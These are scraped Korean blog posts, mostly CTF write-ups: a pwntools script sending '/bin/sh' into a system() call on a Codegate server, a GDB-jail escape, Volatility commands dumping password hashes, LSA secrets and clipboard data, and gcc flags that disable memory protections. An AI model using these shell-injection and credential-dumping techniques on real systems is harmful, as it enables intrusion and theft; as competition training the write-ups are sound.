팀명 : 앙진헌띠

주니어부 23등

MIC check

9P&;gFD,5.BOPCdBl7Q+@V’1dDK?qL 를 디코딩하라고 한다.

ASCII-85 디코딩 해주면 플래그가 나온다.

FLAG : Let the hacking begins ~


20000

nc 와 20000이라는 바이너리와 20000개의 .so파일이 주어진다.

20000 바이너리의 메인함수이다. 메인에서 1~20000까지 입력받는데 이 입력 받은 수의 라이브러리 파일을 불러와서 test 함수를 실행시켜준다. 그리고 쉘을 따면 될 거 같다.

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rax
  signed __int64 result; // rax
  void *v5; // rdi
  char *v6; // rax
  int input; // [rsp+Ch] [rbp-94h]
  void (__fastcall *v8)(void *, const char *); // [rsp+10h] [rbp-90h]
  void *handle; // [rsp+18h] [rbp-88h]
  char s; // [rsp+20h] [rbp-80h]
  int v11; // [rsp+80h] [rbp-20h]
  int v12; // [rsp+84h] [rbp-1Ch]
  unsigned __int64 v13; // [rsp+88h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  print_map();
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 0x60uLL);
  v11 = 0;
  printf("INPUT : ", 0LL, &v12);
  __isoc99_scanf("%d", &input);
  if ( input <= 0 && input > 20000 )
  {
    printf("Invalid Input", &input);
    exit(-1);
  }
  sprintf(&s, "./20000_so/lib_%d.so", input);
  handle = dlopen(&s, 1);
  if ( handle )
  {
    v5 = handle;
    v8 = dlsym(handle, "test");
    if ( v8 )
    {
      v8(v5, "test");
      dlclose(handle);
      result = 0LL;
    }
    else
    {
      v6 = dlerror();
      fprintf(stderr, "Error: %s\n", v6);
      dlclose(handle);
      result = 1LL;
    }
  }
  else
  {
    v3 = dlerror();
    fprintf(stderr, "Error: %s\n", v3);
    result = 1LL;
  }
  return result;
}

하지만 문제가 20000개의 lib 파일에서 무슨 파일인지 알 수 없었다. 왜 20000개인지 알 거 같았다. 마지막 수정 일 순으로 정렬해보면 lib_17394.so 파일만 수정일이 오전 10시 37분이였다. 다른 .so파일들은 수정일이 오후 10시 33분이였다.

signed __int64 test()
{
  char *v0; // rax
  signed __int64 result; // rax
  char *v2; // rax
  void (__fastcall *v3)(char *, char *); // [rsp+0h] [rbp-B0h]
  void (__fastcall *v4)(char *); // [rsp+8h] [rbp-A8h]
  void *handle; // [rsp+10h] [rbp-A0h]
  void *v6; // [rsp+18h] [rbp-98h]
  char buf; // [rsp+20h] [rbp-90h]
  __int16 v8; // [rsp+50h] [rbp-60h]
  char s; // [rsp+60h] [rbp-50h]
  __int16 v10; // [rsp+90h] [rbp-20h]
  unsigned __int64 v11; // [rsp+98h] [rbp-18h]

  v11 = __readfsqword(0x28u);
  memset(&buf, 0, 0x30uLL);
  v8 = 0;
  memset(&s, 0, 0x30uLL);
  v10 = 0;
  handle = dlopen("./20000_so/lib_4323.so", 1);
  if ( handle )
  {
    v3 = dlsym(handle, "filter1");
    v6 = dlopen("./20000_so/lib_11804.so", 1);
    if ( v6 )
    {
      v4 = dlsym(v6, "filter2");
      puts("This is lib_17394 file.");
      puts("How do you find vulnerable file?");
      read(0, &buf, 0x32uLL);
      v3(&buf, &buf);
      v4(&buf);
      sprintf(&s, "%s 2 > /dev/null", &buf);
      system(&s);
      dlclose(handle);
      dlclose(v6);
      result = 0LL;
    }
    else
    {
      v2 = dlerror();
      fprintf(stderr, "Error: %s\n", v2);
      result = 0xFFFFFFFFLL;
    }
  }
  else
  {
    v0 = dlerror();
    fprintf(stderr, "Error: %s\n", v0);
    result = 0xFFFFFFFFLL;
  }
  return result;
}

lib_17394.so 를 보면 lib_4323.so 라이브러리의 fillter1을 실행시키고 lib_11804.so 라이브러리의 fillter2를 실행시켜준다. 그러면 이제 fillter만 우회해서 쉘을 따주면 될 거 같다. system(&s) 를 실행시켜주니까 저기에 쉘을 넣어주면 될 거 같다.

Exploit Code

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

# testlib = CDLL('./c1e3a33d8932a4a61b0e0e0e49d6c9bc/20000_so/lib_17394.so')
"""
Filltering
; * | & $ ` > < v m p d f g l
r bash
"""
#p = process('././c1e3a33d8932a4a61b0e0e0e49d6c9bc/20000')
p = remote('110.10.147.106',15959)
print p.sendlineafter('INPUT :','17394')
print p.sendlineafter('How do you find vulnerable file?','/bin/sh')
p.interactive()

FLAG : Are_y0u_A_h@cker_in_real-word?

'CTF WriteUp' 카테고리의 다른 글

2019 Dimi CTF Prequal Writeup  (0) 2019.08.04
2019 Tamu CTF Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 OtterCTF Writeup  (0) 2018.12.11

아슬아슬하게 6등해서 상을 받게 되었다.. 우리 팀원들끼리 협동 해서 푼 문제들도 있었는데 좀 재밌었다. 마지막에 점수 역전 당할 줄 알았는데 아슬아슬하게 상을 타게 되었다.

REV

enc = "51564e534f497f473e78396a51573c7f4d4362217426277867"
bb = enc.decode("hex")
flag = ""
for i in range(len(bb)):
	flag += chr(ord(bb[i])^2^i)
print flag

enc를 인코딩해줬으니 decode하고 역으로 코드 짜주면 나온다

FLAG : SUNRIN{B4s1c_X0r_Pr0b13m}


MISC

  • GDB_jail
$ nc layer7.kr 12223 
      ___       ___  __   __         ___    ___  __      __   __   __
|  | |__  |    |__  /  ` /  \  |\/| |__      |  /  \    / _` |  \ |__)
|/\| |___ |___ |___ \__, \__/  |  | |___     |  \__/    \__> |__/ |__)

Gdb command : help
Running ...

target exec [PATH] -- set target
r -- run target

Gdb command : target exec /bin/sh
Running ...
Gdb command : r
Running ...
ls
flag
problem.py
cat flag
Sunrin{GDB_JA1L~~--><--~~L1AJ_BDG}

Help 커맨드를 이용해서 사용법을 보니 target exec 하고 경로를 입력하는게 target을 설정하는거였다.

그리고 r을 입력해주면 그 target이 실행이 된다고 했다.

그래서 target exec /bin/sh 로 target을 설정해주고 r을 입력해서 실행시켰더니 명령어를 사용할 수 있다는 것을 알 수 있었다. 그래서 ls로 파일들을 보니 flag라는 파일이 있길래 봤더니 flag가 있었다.

import gdb
import time

print('''      ___       ___  __   __         ___    ___  __      __   __   __
|  | |__  |    |__  /  ` /  \\  |\\/| |__      |  /  \\    / _` |  \\ |__)
|/\\| |___ |___ |___ \\__, \\__/  |  | |___     |  \\__/    \\__> |__/ |__)
                                                                      ''')

help_cmd = '''
target exec [PATH] -- set target
r -- run target
'''

while 1:
	try:
		command = input("Gdb command : ")
		print("Running ...")
		time.sleep(1)
		for i in command:
			if(i in "!`@#$%^&*()_+=-}{[]\\\"';:<>.,?|~`"):
				print("%s isn't allowed!"%(command.split(" ")[0]))
				continue

		if("target" in command):
			gdb.execute(command)

		elif("r" == command):
			gdb.execute("r")
			print("GOOD BYE")
			exit(1)

		elif("help" == command):
			print(help_cmd)

		else:
			print("%s isn't allowed!"%(command.split(" ")[0]))
	except:
		exit(1)

problem.py의 소스이다.

FLAG : Sunrin{GDB_JA1L~~--><--~~L1AJ_BDG}


WEB

웹 문제는 의도치 않게 푼거 같은데 F5로 계속 새로고침을 하다보면 Flag가 나왔다가 없어질 때 있는데 나올 때를 캡쳐해서 풀었다.

FLAG : Sunrin{b4by_r4c3_c0nd1t10n_1nw3bapp}

'CTF WriteUp' 카테고리의 다른 글

2019 Tamu CTF Writeup  (0) 2019.08.04
2019 Codegate Quals Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 OtterCTF Writeup  (0) 2018.12.11
2018 picoCTF Writeup  (0) 2018.11.22
a='656e636f64696e67206973206e6f7420656e6372797074696f6e2074686520666c61673d73696d706c65'
table=['0x'+a[i:i+2] for i in range(0,len(a),2)]
print table
table1=[]
for i in range(len(table)):
        table1.append(chr(int(table[i],16)))
flag=""
for i in range(len(table1)):
        flag+=table1[i]
print flag

예를 들어, 바이너리 파일을 읽어 Hex로 출력하는 루틴은 간단히,

 

with open(f) as ifp:

buff = ifp.read()

hlist = []

for ch in buff:

hlist.append('%02x' % ord(ch))

print 'hex out = <%s>' % ' '.join(hlist)

 

와 같이 적용할 수 있습니다.

 

그런데 그 반대가 있을 수 있습니다.

 

어떤 문자열이 있는데, Hex 문자열로 되어 있다고 가정하고, (거의 모든 인증서 데이터 등에 사용됩니다)

이것을 매 2바이트씩 끊어 목록으로 만들고 싶습니다.

 

여러 가지 방법이 존재하는데,

다음과 같은 세 가지로 구분되더군요...

 

hxstr = '123456'

 

1) [ for ... ]

 

hlist = [hxstr[i:i+2] for i in range(0,len(hxstr),2)]

 

2) re.findall

 

hlist = re.findall(r'..',hxstr)

 

3) map, zip, iter 이용

 

hlist = map(''.join, zip(*[iter(hxstr)]*2))

 

잠깐 설명해 보도록 하겠습니다.

 

iter(hxstr) 는 글자 하나씩 가져오는 이터레이터 함수라 생각하십시오.

 

[ 'a' ] * 2 는 [ 'a', 'a'] 이고,

함수 호출 시 f(['a','a'])는 목록이 넘어가지만,

f(*['a','a'])는 f('a','a') 와 동일합니다. 즉, 괄호를 벗기는 역할을 합니다.

 

그러면 결국 zip(iter(hxstr)결과, iter(hxstr)결과) 와 같은 식인데,

첫번째 패러미터와 두번째 패러미터의 값을 한번씩 호출하게 되어있습니다.

그런데 동일한 이터레이터 이므로 하나씩 꺼내게 되므로,

(('1','2'), ('3','4'),('5','6')) 의 결과가 나옵니다.

이를 각 항목에 대하여 ''.join <=> cat 을 시키니

['12','34','56'] 이 되는 것이지요~

 

정도 입니다.

(물론 함수로 줄줄이 길게 하는거 제외하구요)

 

어느게 제일 빠를지는 아주 큰 문자열로 돌려봐야 되겠지요...

(전 1을 애용하려고 합니다. 3은 이해하는데 15분 걸렸습니다... T.T)

 

 

이제는 거꾸로 파일로 출력하면...

 

with open(b,'w') as ofp:

for hstr in hlist:

ofp.write(chr(int(hstr,16)))

 

와 같이 하면 됩니다.

 

 

어느분께는 도움이 되셨기를...

'Python' 카테고리의 다른 글

python struct module  (0) 2019.11.21
[pwntools]pwnlib.util  (0) 2019.11.19
파이썬 리스트의 문자열을 int 형태로 변환  (2) 2019.02.18
Python z3 모듈  (0) 2018.12.02
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // ST10_1
  unsigned int v4; // esi
  int v5; // ecx
  char v6; // ST20_1
  char Str2[16]; // [esp+8h] [ebp-204h]
  __int128 v9; // [esp+18h] [ebp-1F4h]
  char v10; // [esp+28h] [ebp-1E4h]
  char v11; // [esp+29h] [ebp-1E3h]
  char Dst[256]; // [esp+108h] [ebp-104h]
  char v13[256]; // [esp+109h] [ebp-103h]

  memset(Dst, 0, 0xFFu);
  *Str2 = xmmword_402160;
  v9 = xmmword_402150;
  v10 = -114;
  memset(&v11, 0, 0xDEu);
  (sub_401020)("Password: ", v3);
  sub_401050("%36s", Dst);
  srand(0x3FD1CC7u);
  v4 = 0;
  if ( &Dst[strlen(Dst) + 1] != v13 )
  {
    do
    {
      v5 = rand() % 256;
      v6 = (v5 | Dst[v4]) & ~(v5 & Dst[v4]);
      Dst[v4] = v6;
      sub_401020("%d, ", v6);
      ++v4;
    }
    while ( v4 < strlen(Dst) );
  }
  if ( !strncmp(Dst, Str2, 0x21u) )
    sub_401020("\nCorrect\n");
  else
    sub_401020("\nWrong\n");
  return 0;
}

xmmword_402150,xmmword_402160 테이블을 가져오면 된다.

.rdata:00402150 xmmword_402150  xmmword 1A329AD1F535B7A46D23E29075ECBEBAh
.rdata:00402150                                         ; DATA XREF: _main+42↑r
.rdata:00402160 xmmword_402160  xmmword 0CFA8C1890818F8507F1A0A19BBC3CB4Dh
.rdata:00402160                                         ; DATA XREF: _main+27↑r

 

- solve.py

from ctypes import *
import string

seed = 0x3fd1cc7
lib = cdll.msvcrt
lib.srand(seed)
table=[0x4d,0xcb,0xc3,0xbb,0x19,0x0a,0x1a,0x7f,0x50,0xf8,0x18,0x08,0x89,0xc1,0xa8,0xcf,0xba,0xbe,0xec,0x75,0x90,0xe2,0x23,0x6d,0xa4,0xb7,0x35,0xf5,0xd1,0x9a,0x32,0x1a,0x8e]
flag=""
for i in range(33):
	rand = lib.rand() % 256
	for j in string.printable:
		tmp = (rand | ord(j)) & (~(rand & ord(j)))
		if tmp == table[i]:
			flag += j
print flag

 

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2018 OtterCTF Writeup  (0) 2018.12.11
2018 picoCTF Writeup  (0) 2018.11.22
2018 고등해커 예선 Writeup  (0) 2018.11.22

list_a = ['1', '2', '3', '4']   -> list_a = [1, 2, 3, 4] 로 바꾸고 싶을 때,

 

list_a = map(int, list_a)   를 해주면 된다.

 

or list_a = [int(i) for i in list_a]

 

'Python' 카테고리의 다른 글

python struct module  (0) 2019.11.21
[pwntools]pwnlib.util  (0) 2019.11.19
hex encoding to chr()  (0) 2019.05.17
Python z3 모듈  (0) 2018.12.02

https://github.com/zyantific/IDASkins

 

IDA에 많은 테마가 있지만 정보가 별로없길래 도움이 될지는 모르겠지만 제가 적용한 방법을 알려드릴게요. 

위에 링크도 참고해주세요.

 

ida-consonance.clr
다운로드

 

adwaita-dark.clr
다운로드

 

 

저는 clr파일을 이용해서 테마 적용시켰습니다. 

경로는 그냥 일단 그냥 IDA 디렉토리 안에 넣어놓았습니다. 어차피 Import 할거라 위치는 상관없습니다.

 

IDA를 키고 Options -> Colors -> Import 해줍니다.

아까 clr 파일을 임포트해주고 재시작하면 될겁니다.

 

 

수고링^^~

'Hacking' 카테고리의 다른 글

[2013plaidCTF]ropasaurusrex  (0) 2019.11.03
ARM Reversing  (0) 2019.08.04
메모리 보호기법 해제  (0) 2018.12.19
Volatility Commands  (0) 2018.12.02
가상머신 메모리 덤프 파일  (0) 2018.10.09

-fno-stack-protector 메모리 보호 기법 SSP(Stack Smashing Protector) 해제

-mpreferred-stack-boundary= 스택의 경계값 설정

-m32 32비트 컴파일 

-z execstack 스택 실행권한 설정

-no-pie 메모리 보호 기법 PIE 해제

 

gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -o asdf asdf.c

보호 기법 설정

ASLR

> cat /proc/sys/kernel/randomize_va_space
2

값이 0이면 ASLR 없음, 1이면 stack, library가 랜덤, 2이면 stack, library, heap이 랜덤.

DEP/NX

> gcc -z execstack ...

STACK에 실행권한 줌. DEP/NX 제거라고 봐도 될듯

CANARY

> gcc -fno-stack-protector ... # SSP 해제
> gcc -fstack-protector ...    # SSP 설정

PIE

> gcc -no-pie ...    # PIE 해제
> gcc -fpie ...      # .text 랜덤
> gcc -fpie -pie ... # PIE 설정

RELRO

> gcc -z relro ...        # PARTIAL-RELRO 설정
> gcc -z relro -z now ... # FULL-RELRO 설정
> gcc -z norelro ...      # NO-RELRO

32bit Compile

> sudo apt install gcc-multilib # 관련 라이브러리 설치 후 사용가능
> gcc -m32 ... # 64bit에서 32bit 컴파일
> gcc -m64 ... # 디폴트이므로 없어도 됨

DUMMY

> gcc -mpreferred-stack-boundary=2 ... # 32bit
> gcc -mpreferred-stack-boundary=4 ... # 64bit

DUMMY 제거

함수 최적화

> gcc -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 ... # 함수 최적화 제거

단독 링크

> gcc -fno-builtin ... # 라이브러리와 링크되지 않고 단독으로 링크

 

 

'Hacking' 카테고리의 다른 글

ARM Reversing  (0) 2019.08.04
IDA PRO 테마 적용  (0) 2018.12.27
Volatility Commands  (0) 2018.12.02
가상머신 메모리 덤프 파일  (0) 2018.10.09
메모리 포렌식 분석 과정  (0) 2018.10.09

2018 OtterCTF Writeup

1 - What the password? - 100pt

you got a sample of rick's PC's memory. can you get his user password?

format: CTF{...}

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 hashdump -s 0xfffff8a0016d4010

Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Rick:1000:aad3b435b51404eeaad3b435b51404ee:518172d012f97d3a8fcc089615283940:::

hivescan 해준걸 hashdump떠서 봤는데 이렇게 3개의 계정이 나왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 lsadump
Volatility Foundation Volatility Framework 2.6
DefaultPassword
0x00000000 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   (...............
0x00000010 4d 00 6f 00 72 00 74 00 79 00 49 00 73 00 52 00   M.o.r.t.y.I.s.R.
0x00000020 65 00 61 00 6c 00 6c 00 79 00 41 00 6e 00 4f 00   e.a.l.l.y.A.n.O.
0x00000030 74 00 74 00 65 00 72 00 00 00 00 00 00 00 00 00   t.t.e.r.........

DPAPI_SYSTEM
0x00000000 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ,...............
0x00000010 01 00 00 00 36 9b ba a9 55 e1 92 82 09 e0 63 4c   ....6...U.....cL
0x00000020 20 74 63 14 9e d8 a0 4b 45 87 5a e4 bc f2 77 a5   .tc....KE.Z...w.
0x00000030 25 3f 47 12 0b e5 4d a5 c8 35 cf dc 00 00 00 00   %?G...M..5......

lsadump 떠줘서 가져왔다.

예시 : https://www.aldeid.com/wiki/Volatility/Retrieve-password

lsadump plugin : https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/registry/lsadump.py

FLAG : CTF{MortyIsReallyAnOtter}


2 - General Info - 75pt

Let's start easy - whats the PC's name and IP address?

format: CTF{flag}

PC name

hive스캔을 먼저 떠줬다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 hivescan

그리고 컴퓨터 이름이 저장된 레지스트리로 가서 가져왔다.

컴퓨터 이름 레지스트리 : HKLM\SYSTEM\ControlSet00X\Control\ComputerName\ActiveComputerName

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K \ControlSet001\\Control\\ComputerName\\ActiveComputerName
Volatility Foundation Volatility Framework 2.6
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: ActiveComputerName (V)
Last updated: 2018-08-04 19:26:11 UTC+0000

Subkeys:

Values:
REG_SZ       ComputerName   : (V) WIN-LO6FAF3DTFE

FLAG : CTF{WIN-LO6FAF3DTFE}

PC IP

netscan 해줘서 local Adress를 가져왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 netscan

FLAG : CTF{192.168.202.131}


3 - Play Time - 50pt

Rick just loves to play some good old videogames. can you tell which game is he playing? whats the IP address of the server?

format: CTF{flag}

Game name

프로세스 목록들보면 LunarMs.exe라는 게임을 하고 있었다.

FLAG : CTF{LunarMS}

Server IP

netscan따서 192.168.202.131과 LunarMs의 Foreign Address를 가져왔다.

FLAG : CTF{77.102.199.102}


4 - Name Game - 100pt

We know that the account was logged in to a channel called Lunar-3. what is the account name?

format: CTF{flag}

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 memdump -p 708 -D .

먼저 LunarMS 게임을 덤프 떠서 가져온다. LunarMS의 pid는 708이다

strings -a 708.dmp > prob3.txt

거기서 strings로 따서 Lunar-3를 검색해보면 Lunar-3 밑에 0tt3r8r33z3 가 적혀있었다. FLAG같아서 인증했다.

FLAG : CTF{CTF{0tt3r8r33z3}}


5 - Name Game2 - 150pt

From a little research we found that the username of the logged on character is always after this signature: 0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} What's rick's character's name?

format: CTF{...}

No Solve...


6 - Silly Rick - 100pt

Silly rick always forgets his email's password, so he uses a Stored Password Services online to store his password. He always copy and paste the password so he will not get it wrong. whats rick's email password?

format: CTF{flag}

복사 붙여넣기를 사용한다고 했다. clipboard 플러그인을 사용해서 해당 값을 가져왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 clipboard
Volatility Foundation Volatility Framework 2.6
Session   WindowStation Format                         Handle Object             Data
---------- ------------- ------------------ ------------------ ------------------ --------------------------------------------------
        1 WinSta0       CF_UNICODETEXT               0x602e3 0xfffff900c1ad93f0 M@il_Pr0vid0rs
        1 WinSta0       CF_TEXT                         0x10 ------------------
        1 WinSta0       0x150133L             0x200000000000 ------------------
        1 WinSta0       CF_TEXT                           0x1 ------------------
        1 ------------- ------------------           0x150133 0xfffff900c1c1adc0

FLAG : CTF{M@il_Pr0vid0rs}


7 - Hide And Seek - 100pt

The reason that we took rick's PC memory dump is because there was a malware infection. Please find the malware process name (including the extension)

BEAWARE! There are only 3 attempts to get the right flag!

format: CTF{flag}

FLAG : CTF{vmware-tray.exe}


10 - Bit 4 Bit - 100pt

We've found out that the malware is a ransomware. Find the attacker's bitcoin address.

format: CTF{...}

vol.py -f OtterCTF.vmem --profile=Win7SP1x64 procdump -D dump/ -p 3720

https://transfer.sh/Dss8z/hidd.exe 이걸 사용해 비트코인 주소를 뽑아낼 수 있다.

FLAG : CTF{1MmpEmebJkqXG8nQv4cjJSmxZQFVmFo63M}


11 - Graphics is for the weak - 150pt

There's something fishy in the malware's graphics.

format: CTF{...}

dnspy를 이용해서 열면 확인할 수있다.

FLAG : CTF{S0_Just_M0v3_Socy}

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 picoCTF Writeup  (0) 2018.11.22
2018 고등해커 예선 Writeup  (0) 2018.11.22

+ Recent posts